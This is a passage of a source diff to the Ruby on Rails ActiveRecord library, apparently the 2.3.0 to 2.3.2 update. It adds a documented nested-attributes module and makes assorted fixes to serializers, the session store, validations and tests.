+ if current_scoped_methods_when_defined
+ with_scope current_scoped_methods_when_defined do
+ proxy_scope.send(method, *args, &block)
+ end
+ else
+ proxy_scope.send(method, *args, &block)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
new file mode 100644
index 0000000000..e3122d195a
--- /dev/null
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -0,0 +1,329 @@
+module ActiveRecord
+ module NestedAttributes #:nodoc:
+ def self.included(base)
+ base.extend(ClassMethods)
+ base.class_inheritable_accessor :reject_new_nested_attributes_procs, :instance_writer => false
+ base.reject_new_nested_attributes_procs = {}
+ end
+
+ # == Nested Attributes
+ #
+ # Nested attributes allow you to save attributes on associated records
+ # through the parent. By default nested attribute updating is turned off,
+ # you can enable it using the accepts_nested_attributes_for class method.
+ # When you enable nested attributes an attribute writer is defined on
+ # the model.
+ #
+ # The attribute writer is named after the association, which means that
+ # in the following example, two new methods are added to your model:
+ # <tt>author_attributes=(attributes)</tt> and
+ # <tt>pages_attributes=(attributes)</tt>.
+ #
+ # class Book < ActiveRecord::Base
+ # has_one :author
+ # has_many :pages
+ #
+ # accepts_nested_attributes_for :author, :pages
+ # end
+ #
+ # Note that the <tt>:autosave</tt> option is automatically enabled on every
+ # association that accepts_nested_attributes_for is used for.
+ #
+ # === One-to-one
+ #
+ # Consider a Member model that has one Avatar:
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar
+ # end
+ #
+ # Enabling nested attributes on a one-to-one association allows you to
+ # create the member and avatar in one go:
+ #
+ # params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } }
+ # member = Member.create(params)
+ # member.avatar.id # => 2
+ # member.avatar.icon # => 'smiling'
+ #
+ # It also allows you to update the avatar through the member:
+ #
+ # params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
+ # member.update_attributes params['member']
+ # member.avatar.icon # => 'sad'
+ #
+ # By default you will only be able to set and update attributes on the
+ # associated model. If you want to destroy the associated model through the
+ # attributes hash, you have to enable it first using the
+ # <tt>:allow_destroy</tt> option.
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar, :allow_destroy => true
+ # end
+ #
+ # Now, when you add the <tt>_delete</tt> key to the attributes hash, with a
+ # value that evaluates to +true+, you will destroy the associated model:
+ #
+ # member.avatar_attributes = { :id => '2', :_delete => '1' }
+ # member.avatar.marked_for_destruction? # => true
+ # member.save
+ # member.avatar #=> nil
+ #
+ # Note that the model will _not_ be destroyed until the parent is saved.
+ #
+ # === One-to-many
+ #
+ # Consider a member that has a number of posts:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts
+ # end
+ #
+ # You can now set or update attributes on an associated post model through
+ # the attribute hash.
+ #
+ # For each hash that does _not_ have an <tt>id</tt> key a new record will
+ # be instantiated, unless the hash also contains a <tt>_delete</tt> key
+ # that evaluates to +true+.
+ #
+ # params = { :member => {
+ # :name => 'joe', :posts_attributes => [
+ # { :title => 'Kari, the awesome Ruby documentation browser!' },
+ # { :title => 'The egalitarian assumption of the modern citizen' },
+ # { :title => '', :_delete => '1' } # this will be ignored
+ # ]
+ # }}
+ #
+ # member = Member.create(params['member'])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # You may also set a :reject_if proc to silently ignore any new record
+ # hashes if they fail to pass your criteria. For example, the previous
+ # example could be rewritten as:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, :reject_if => proc { |attributes| attributes['title'].blank? }
+ # end
+ #
+ # params = { :member => {
+ # :name => 'joe', :posts_attributes => [
+ # { :title => 'Kari, the awesome Ruby documentation browser!' },
+ # { :title => 'The egalitarian assumption of the modern citizen' },
+ # { :title => '' } # this will be ignored because of the :reject_if proc
+ # ]
+ # }}
+ #
+ # member = Member.create(params['member'])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # If the hash contains an <tt>id</tt> key that matches an already
+ # associated record, the matching record will be modified:
+ #
+ # member.attributes = {
+ # :name => 'Joe',
+ # :posts_attributes => [
+ # { :id => 1, :title => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+ # { :id => 2, :title => '[UPDATED] other post' }
+ # ]
+ # }
+ #
+ # member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+ # member.posts.second.title # => '[UPDATED] other post'
+ #
+ # By default the associated records are protected from being destroyed. If
+ # you want to destroy any of the associated records through the attributes
+ # hash, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option. This will allow you to also use the <tt>_delete</tt> key to
+ # destroy existing records:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, :allow_destroy => true
+ # end
+ #
+ # params = { :member => {
+ # :posts_attributes => [{ :id => '2', :_delete => '1' }]
+ # }}
+ #
+ # member.attributes = params['member']
+ # member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+ # member.posts.length #=> 2
+ # member.save
+ # member.posts.length # => 1
+ #
+ # === Saving
+ #
+ # All changes to models, including the destruction of those marked for
+ # destruction, are saved and destroyed automatically and atomically when
+ # the parent model is saved. This happens inside the transaction initiated
+ # by the parents save method. See ActiveRecord::AutosaveAssociation.
+ module ClassMethods
+ # Defines an attributes writer for the specified association(s). If you
+ # are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you
+ # will need to add the attribute writer to the allowed list.
+ #
+ # Supported options:
+ # [:allow_destroy]
+ # If true, destroys any members from the attributes hash with a
+ # <tt>_delete</tt> key and a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'). This option is off by default.
+ # [:reject_if]
+ # Allows you to specify a Proc that checks whether a record should be
+ # built for a certain attribute hash. The hash is passed to the Proc
+ # and the Proc should return either +true+ or +false+. When no Proc
+ # is specified a record will be built for all attribute hashes that
+ # do not have a <tt>_delete</tt> that evaluates to true.
+ #
+ # Examples:
+ # # creates avatar_attributes=
+ # accepts_nested_attributes_for :avatar, :reject_if => proc { |attributes| attributes['name'].blank? }
+ # # creates avatar_attributes= and posts_attributes=
+ # accepts_nested_attributes_for :avatar, :posts, :allow_destroy => true
+ def accepts_nested_attributes_for(*attr_names)
+ options = { :allow_destroy => false }
+ options.update(attr_names.extract_options!)
+ options.assert_valid_keys(:allow_destroy, :reject_if)
+
+ attr_names.each do |association_name|
+ if reflection = reflect_on_association(association_name)
+ type = case reflection.macro
+ when :has_one, :belongs_to
+ :one_to_one
+ when :has_many, :has_and_belongs_to_many
+ :collection
+ end
+
+ reflection.options[:autosave] = true
+ self.reject_new_nested_attributes_procs[association_name.to_sym] = options[:reject_if]
+
+ # def pirate_attributes=(attributes)
+ # assign_nested_attributes_for_one_to_one_association(:pirate, attributes, false)
+ # end
+ class_eval %{
+ def #{association_name}_attributes=(attributes)
+ assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes, #{options[:allow_destroy]})
+ end
+ }, __FILE__, __LINE__
+ else
+ raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
+ end
+ end
+ end
+ end
+
+ # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
+ # used in conjunction with fields_for to build a form element for the
+ # destruction of this association.
+ #
+ # See ActionView::Helpers::FormHelper::fields_for for more info.
+ def _delete
+ marked_for_destruction?
+ end
+
+ private
+
+ # Attribute hash keys that should not be assigned as normal attributes.
+ # These hash keys are nested attributes implementation details.
+ UNASSIGNABLE_KEYS = %w{ id _delete }
+
+ # Assigns the given attributes to the association.
+ #
+ # If the given attributes include an <tt>:id</tt> that matches the existing
+ # record’s id, then the existing record will be modified. Otherwise a new
+ # record will be built.
+ #
+ # If the given attributes include a matching <tt>:id</tt> attribute _and_ a
+ # <tt>:_delete</tt> key set to a truthy value, then the existing record
+ # will be marked for destruction.
+ def assign_nested_attributes_for_one_to_one_association(association_name, attributes, allow_destroy)
+ attributes = attributes.stringify_keys
+
+ if attributes['id'].blank?
+ unless reject_new_record?(association_name, attributes)
+ send("build_#{association_name}", attributes.except(*UNASSIGNABLE_KEYS))
+ end
+ elsif (existing_record = send(association_name)) && existing_record.id.to_s == attributes['id'].to_s
+ assign_to_or_mark_for_destruction(existing_record, attributes, allow_destroy)
+ end
+ end
+
+ # Assigns the given attributes to the collection association.
+ #
+ # Hashes with an <tt>:id</tt> value matching an existing associated record
+ # will update that record. Hashes without an <tt>:id</tt> value will build
+ # a new record for the association. Hashes with a matching <tt>:id</tt>
+ # value and a <tt>:_delete</tt> key set to a truthy value will mark the
+ # matched record for destruction.
+ #
+ # For example:
+ #
+ # assign_nested_attributes_for_collection_association(:people, {
+ # '1' => { :id => '1', :name => 'Peter' },
+ # '2' => { :name => 'John' },
+ # '3' => { :id => '2', :_delete => true }
+ # })
+ #
+ # Will update the name of the Person with ID 1, build a new associated
+ # person with the name `John', and mark the associatied Person with ID 2
+ # for destruction.
+ #
+ # Also accepts an Array of attribute hashes:
+ #
+ # assign_nested_attributes_for_collection_association(:people, [
+ # { :id => '1', :name => 'Peter' },
+ # { :name => 'John' },
+ # { :id => '2', :_delete => true }
+ # ])
+ def assign_nested_attributes_for_collection_association(association_name, attributes_collection, allow_destroy)
+ unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
+ raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
+ end
+
+ if attributes_collection.is_a? Hash
+ attributes_collection = attributes_collection.sort_by { |index, _| index.to_i }.map { |_, attributes| attributes }
+ end
+
+ attributes_collection.each do |attributes|
+ attributes = attributes.stringify_keys
+
+ if attributes['id'].blank?
+ unless reject_new_record?(association_name, attributes)
+ send(association_name).build(attributes.except(*UNASSIGNABLE_KEYS))
+ end
+ elsif existing_record = send(association_name).detect { |record| record.id.to_s == attributes['id'].to_s }
+ assign_to_or_mark_for_destruction(existing_record, attributes, allow_destroy)
+ end
+ end
+ end
+
+ # Updates a record with the +attributes+ or marks it for destruction if
+ # +allow_destroy+ is +true+ and has_delete_flag? returns +true+.
+ def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
+ if has_delete_flag?(attributes) && allow_destroy
+ record.mark_for_destruction
+ else
+ record.attributes = attributes.except(*UNASSIGNABLE_KEYS)
+ end
+ end
+
+ # Determines if a hash contains a truthy _delete key.
+ def has_delete_flag?(hash)
+ ConnectionAdapters::Column.value_to_boolean hash['_delete']
+ end
+
+ # Determines if a new record should be build by checking for
+ # has_delete_flag? or if a <tt>:reject_if</tt> proc exists for this
+ # association and evaluates to +true+.
+ def reject_new_record?(association_name, attributes)
+ has_delete_flag?(attributes) ||
+ self.class.reject_new_nested_attributes_procs[association_name].try(:call, attributes)
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 1937abdc83..2d4c1d5507 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -65,6 +65,11 @@ module ActiveRecord
def reflect_on_association(association)
reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil
end
+
+ # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+ def reflect_on_all_autosave_associations
+ reflections.values.select { |reflection| reflection.options[:autosave] }
+ end
end
@@ -192,7 +197,7 @@ module ActiveRecord
def counter_cache_column
if options[:counter_cache] == true
- "#{active_record.name.underscore.pluralize}_count"
+ "#{active_record.name.demodulize.underscore.pluralize}_count"
elsif options[:counter_cache]
options[:counter_cache]
end
diff --git a/activerecord/lib/active_record/serializers/json_serializer.rb b/activerecord/lib/active_record/serializers/json_serializer.rb
index 419b45d475..1fd65ed006 100644
--- a/activerecord/lib/active_record/serializers/json_serializer.rb
+++ b/activerecord/lib/active_record/serializers/json_serializer.rb
@@ -8,6 +8,25 @@ module ActiveRecord #:nodoc:
# Returns a JSON string representing the model. Some configuration is
# available through +options+.
#
+ # The option <tt>ActiveRecord::Base.include_root_in_json</tt> controls the
+ # top-level behavior of to_json. In a new Rails application, it is set to
+ # <tt>true</tt> in initializers/new_rails_defaults.rb. When it is <tt>true</tt>,
+ # to_json will emit a single root node named after the object's type. For example:
+ #
+ # konata = User.find(1)
+ # ActiveRecord::Base.include_root_in_json = true
+ # konata.to_json
+ # # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
+ # "created_at": "2006/08/01", "awesome": true} }
+ #
+ # ActiveRecord::Base.include_root_in_json = false
+ # konata.to_json
+ # # => {"id": 1, "name": "Konata Izumi", "age": 16,
+ # "created_at": "2006/08/01", "awesome": true}
+ #
+ # The remainder of the examples in this section assume include_root_in_json is set to
+ # <tt>false</tt>.
+ #
# Without any +options+, the returned JSON string will include all
# the model's attributes. For example:
#
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index 4749823b94..fa75874603 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -231,16 +231,22 @@ module ActiveRecord #:nodoc:
def add_associations(association, records, opts)
if records.is_a?(Enumerable)
tag = reformat_name(association.to_s)
+ type = options[:skip_types] ? {} : {:type => "array"}
+
if records.empty?
- builder.tag!(tag, :type => :array)
+ builder.tag!(tag, type)
else
- builder.tag!(tag, :type => :array) do
+ builder.tag!(tag, type) do
association_name = association.to_s.singularize
records.each do |record|
- record.to_xml opts.merge(
- :root => association_name,
- :type => (record.class.to_s.underscore == association_name ? nil : record.class.name)
- )
+ if options[:skip_types]
+ record_type = {}
+ else
+ record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
+ record_type = {:type => record_class}
+ end
+
+ record.to_xml opts.merge(:root => association_name).merge(record_type)
end
end
end
diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
index 74d91f129e..21471da419 100644
--- a/activerecord/lib/active_record/session_store.rb
+++ b/activerecord/lib/active_record/session_store.rb
@@ -99,7 +99,7 @@ module ActiveRecord
define_method(:session_id=) { |session_id| self.sessid = session_id }
else
def self.find_by_session_id(session_id)
- find :first, :conditions => ["session_id #{attribute_condition(session_id)}", session_id]
+ find :first, :conditions => {:session_id=>session_id}
end
end
end
@@ -184,7 +184,7 @@ module ActiveRecord
# Look up a session by id and unmarshal its data if found.
def find_by_session_id(session_id)
- if record = @@connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{@@connection.quote(session_id)}")
+ if record = connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{connection.quote(session_id)}")
new(:session_id => session_id, :marshaled_data => record['data'])
end
end
@@ -287,8 +287,7 @@ module ActiveRecord
def get_session(env, sid)
Base.silence do
sid ||= generate_sid
- session = @@session_class.find_by_session_id(sid)
- session ||= @@session_class.new(:session_id => sid, :data => {})
+ session = find_session(sid)
env[SESSION_RECORD_KEY] = session
[sid, session.data]
end
@@ -296,7 +295,7 @@ module ActiveRecord
def set_session(env, sid, session_data)
Base.silence do
- record = env[SESSION_RECORD_KEY]
+ record = env[SESSION_RECORD_KEY] ||= find_session(sid)
record.data = session_data
return false unless record.save
@@ -310,5 +309,10 @@ module ActiveRecord
return true
end
+
+ def find_session(id)
+ @@session_class.find_by_session_id(id) ||
+ @@session_class.new(:session_id => id, :data => {})
+ end
end
end
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
index 149b93203e..8c6abaaccb 100644
--- a/activerecord/lib/active_record/test_case.rb
+++ b/activerecord/lib/active_record/test_case.rb
@@ -27,6 +27,7 @@ module ActiveRecord
$queries_executed = []
yield
ensure
+ %w{ BEGIN COMMIT }.each { |x| $queries_executed.delete(x) }
assert_equal num, $queries_executed.size, "#{$queries_executed.size} instead of #{num} queries were executed.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}"
end
@@ -48,5 +49,18 @@ module ActiveRecord
ActiveRecord::Base.clear_all_connections!
ActiveRecord::Base.establish_connection(@connection)
end
+
+ def with_kcode(kcode)
+ if RUBY_VERSION < '1.9'
+ orig_kcode, $KCODE = $KCODE, kcode
+ begin
+ yield
+ ensure
+ $KCODE = orig_kcode
+ end
+ else
+ yield
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 0b6e52c79b..b059eb7f6f 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -175,6 +175,8 @@ module ActiveRecord
# end # RELEASE savepoint active_record_1
# # ^^^^ BOOM! database error!
# end
+ #
+ # Note that "TRUNCATE" is also a MySQL DDL statement!
module ClassMethods
# See ActiveRecord::Transactions::ClassMethods for detailed documentation.
def transaction(options = {}, &block)
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 6d750accb0..d2d12b80c9 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -89,7 +89,7 @@ module ActiveRecord
message, options[:default] = options[:default], message if options[:default].is_a?(Symbol)
- defaults = @base.class.self_and_descendents_from_active_record.map do |klass|
+ defaults = @base.class.self_and_descendants_from_active_record.map do |klass|
[ :"models.#{klass.name.underscore}.attributes.#{attribute}.#{message}",
:"models.#{klass.name.underscore}.#{message}" ]
end
@@ -575,6 +575,8 @@ module ActiveRecord
# Get range option and value.
option = range_options.first
option_value = options[range_options.first]
+ key = {:is => :wrong_length, :minimum => :too_short, :maximum => :too_long}[option]
+ custom_message = options[:message] || options[key]
case option
when :within, :in
@@ -583,9 +585,9 @@ module ActiveRecord
validates_each(attrs, options) do |record, attr, value|
value = options[:tokenizer].call(value) if value.kind_of?(String)
if value.nil? or value.size < option_value.begin
- record.errors.add(attr, :too_short, :default => options[:too_short], :count => option_value.begin)
+ record.errors.add(attr, :too_short, :default => custom_message || options[:too_short], :count => option_value.begin)
elsif value.size > option_value.end
- record.errors.add(attr, :too_long, :default => options[:too_long], :count => option_value.end)
+ record.errors.add(attr, :too_long, :default => custom_message || options[:too_long], :count => option_value.end)
end
end
when :is, :minimum, :maximum
@@ -593,13 +595,10 @@ module ActiveRecord
# Declare different validations per option.
validity_checks = { :is => "==", :minimum => ">=", :maximum => "<=" }
- message_options = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }
validates_each(attrs, options) do |record, attr, value|
value = options[:tokenizer].call(value) if value.kind_of?(String)
unless !value.nil? and value.size.method(validity_checks[option])[option_value]
- key = message_options[option]
- custom_message = options[:message] || options[key]
record.errors.add(attr, key, :default => custom_message, :count => option_value)
end
end
@@ -721,20 +720,20 @@ module ActiveRecord
# class (which has a database table to query from).
finder_class = class_hierarchy.detect { |klass| !klass.abstract_class? }
- is_text_column = finder_class.columns_hash[attr_name.to_s].text?
+ column = finder_class.columns_hash[attr_name.to_s]
if value.nil?
comparison_operator = "IS ?"
- elsif is_text_column
+ elsif column.text?
comparison_operator = "#{connection.case_sensitive_equality_operator} ?"
- value = value.to_s
+ value = column.limit ? value.to_s[0, column.limit] : value.to_s
else
comparison_operator = "= ?"
end
sql_attribute = "#{record.class.quoted_table_name}.#{connection.quote_column_name(attr_name)}"
- if value.nil? || (configuration[:case_sensitive] || !is_text_column)
+ if value.nil? || (configuration[:case_sensitive] || !column.text?)
condition_sql = "#{sql_attribute} #{comparison_operator}"
condition_params = [value]
else
@@ -745,7 +744,7 @@ module ActiveRecord
if scope = configuration[:scope]
Array(scope).map do |scope_item|
scope_value = record.send(scope_item)
- condition_sql << " AND #{record.class.quoted_table_name}.#{scope_item} #{attribute_condition(scope_value)}"
+ condition_sql << " AND " << attribute_condition("#{record.class.quoted_table_name}.#{scope_item}", scope_value)
condition_params << scope_value
end
end
@@ -803,7 +802,7 @@ module ActiveRecord
# Validates whether the value of the specified attribute is available in a particular enumerable object.
#
# class Person < ActiveRecord::Base
- # validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!"
+ # validates_inclusion_of :gender, :in => %w( m f )
# validates_inclusion_of :age, :in => 0..99
# validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension {{value}} is not included in the list"
# end
@@ -1041,6 +1040,11 @@ module ActiveRecord
errors.empty?
end
+ # Performs the opposite of <tt>valid?</tt>. Returns true if errors were added, false otherwise.
+ def invalid?
+ !valid?
+ end
+
# Returns the Errors object that holds all information about attribute error messages.
def errors
@errors ||= Errors.new(self)
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index 6ac4bdc905..852807b4c5 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -2,7 +2,7 @@ module ActiveRecord
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 40a8503980..13a78a1890 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -154,6 +154,23 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 0, Topic.find(t2.id).replies.size
end
+ def test_belongs_to_reassign_with_namespaced_models_and_counters
+ t1 = Web::Topic.create("title" => "t1")
+ t2 = Web::Topic.create("title" => "t2")
+ r1 = Web::Reply.new("title" => "r1", "content" => "r1")
+ r1.topic = t1
+
+ assert r1.save
+ assert_equal 1, Web::Topic.find(t1.id).replies.size
+ assert_equal 0, Web::Topic.find(t2.id).replies.size
+
+ r1.topic = Web::Topic.find(t2.id)
+
+ assert r1.save
+ assert_equal 0, Web::Topic.find(t1.id).replies.size
+ assert_equal 1, Web::Topic.find(t2.id).replies.size
+ end
+
def test_belongs_to_counter_after_save
topic = Topic.create!(:title => "monday night")
topic.replies.create!(:title => "re: monday night", :content => "football")
@@ -190,19 +207,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
end
- def test_assignment_before_parent_saved
- client = Client.find(:first)
- apple = Firm.new("name" => "Apple")
- client.firm = apple
- assert_equal apple, client.firm
- assert apple.new_record?
- assert client.save
- assert apple.save
- assert !apple.new_record?
- assert_equal apple, client.firm
- assert_equal apple, client.firm(true)
- end
-
def test_assignment_before_child_saved
final_cut = Client.new("name" => "Final Cut")
firm = Firm.find(1)
@@ -215,19 +219,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal firm, final_cut.firm(true)
end
- def test_assignment_before_either_saved
- final_cut = Client.new("name" => "Final Cut")
- apple = Firm.new("name" => "Apple")
- final_cut.firm = apple
- assert final_cut.new_record?
- assert apple.new_record?
- assert final_cut.save
- assert !final_cut.new_record?
- assert !apple.new_record?
- assert_equal apple, final_cut.firm
- assert_equal apple, final_cut.firm(true)
- end
-
def test_new_record_with_foreign_key_but_no_object
c = Client.new("firm_id" => 1)
assert_equal Firm.find(:first), c.firm_with_basic_id
@@ -274,90 +265,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 17, reply.replies.size
end
- def test_store_two_association_with_one_save
- num_orders = Order.count
- num_customers = Customer.count
- order = Order.new
-
- customer1 = order.billing = Customer.new
- customer2 = order.shipping = Customer.new
- assert order.save
- assert_equal customer1, order.billing
- assert_equal customer2, order.shipping
-
- order.reload
-
- assert_equal customer1, order.billing
- assert_equal customer2, order.shipping
-
- assert_equal num_orders +1, Order.count
- assert_equal num_customers +2, Customer.count
- end
-
-
- def test_store_association_in_two_relations_with_one_save
- num_orders = Order.count
- num_customers = Customer.count
- order = Order.new
-
- customer = order.billing = order.shipping = Customer.new
- assert order.save
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- order.reload
-
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- assert_equal num_orders +1, Order.count
- assert_equal num_customers +1, Customer.count
- end
-
- def test_store_association_in_two_relations_with_one_save_in_existing_object
- num_orders = Order.count
- num_customers = Customer.count
- order = Order.create
-
- customer = order.billing = order.shipping = Customer.new
- assert order.save
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- order.reload
-
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- assert_equal num_orders +1, Order.count
- assert_equal num_customers +1, Customer.count
- end
-
- def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
- num_orders = Order.count
- num_customers = Customer.count
- order = Order.create
-
- customer = order.billing = order.shipping = Customer.new
- assert order.save
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- order.reload
-
- customer = order.billing = order.shipping = Customer.new
-
- assert order.save
- order.reload
-
- assert_equal customer, order.billing
- assert_equal customer, order.shipping
-
- assert_equal num_orders +1, Order.count
- assert_equal num_customers +2, Customer.count
- end
-
-
def test_association_assignment_sticks
post = Post.find(:first)
@@ -410,32 +317,29 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal nil, sponsor.sponsorable_id
end
- def test_save_fails_for_invalid_belongs_to
- assert log = AuditLog.create(:developer_id=>0,:message=>"")
-
- log.developer = Developer.new
- assert !log.developer.valid?
- assert !log.valid?
- assert !log.save
- assert_equal "is invalid", log.errors.on("developer")
- end
-
- def test_save_succeeds_for_invalid_belongs_to_with_validate_false
- assert log = AuditLog.create(:developer_id=>0,:message=>"")
-
- log.unvalidated_developer = Developer.new
- assert !log.unvalidated_developer.valid?
- assert log.valid?
- assert log.save
- end
-
def test_belongs_to_proxy_should_not_respond_to_private_methods
- assert_raises(NoMethodError) { companies(:first_firm).private_method }
- assert_raises(NoMethodError) { companies(:second_client).firm.private_method }
+ assert_raise(NoMethodError) { companies(:first_firm).private_method }
+ assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
end
def test_belongs_to_proxy_should_respond_to_private_methods_via_send
companies(:first_firm).send(:private_method)
companies(:second_client).firm.send(:private_method)
end
+
+ def test_save_of_record_with_loaded_belongs_to
+ @account = companies(:first_firm).account
+
+ assert_nothing_raised do
+ Account.find(@account.id).save!
+ Account.find(@account.id, :include => :firm).save!
+ end
+
+ @account.firm.delete
+
+ assert_nothing_raised do
+ Account.find(@account.id).save!
+ Account.find(@account.id, :include => :firm).save!
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 12dec5ccd1..1b2e0fc11e 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -1,4 +1,9 @@
require 'cases/helper'
+require 'models/author'
+require 'models/post'
+require 'models/comment'
+require 'models/category'
+require 'models/categorization'
module Remembered
def self.included(base)
@@ -99,3 +104,27 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
end
end
end
+
+class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
+ def setup
+ @davey_mcdave = Author.create(:name => 'Davey McDave')
+ @first_post = @davey_mcdave.posts.create(:title => 'Davey Speaks', :body => 'Expressive wordage')
+ @first_comment = @first_post.comments.create(:body => 'Inflamatory doublespeak')
+ @first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
+ end
+
+ def teardown
+ @davey_mcdave.destroy
+ @first_post.destroy
+ @first_comment.destroy
+ @first_categorization.destroy
+ end
+
+ def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
+ assert_nothing_raised do
+ # @davey_mcdave doesn't have any author_favorites
+ includes = {:posts => :comments, :categorizations => :category, :author_favorites => :favorite_author }
+ Author.all :include => includes, :conditions => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name'
+ end
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 14099d4176..40723814c5 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -549,16 +549,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_invalid_association_reference
- assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
post = Post.find(6, :include=> :monkeys )
}
- assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
post = Post.find(6, :include=>[ :monkeys ])
}
- assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
post = Post.find(6, :include=>[ 'monkeys' ])
}
- assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
post = Post.find(6, :include=>[ :monkeys, :elephants ])
}
end
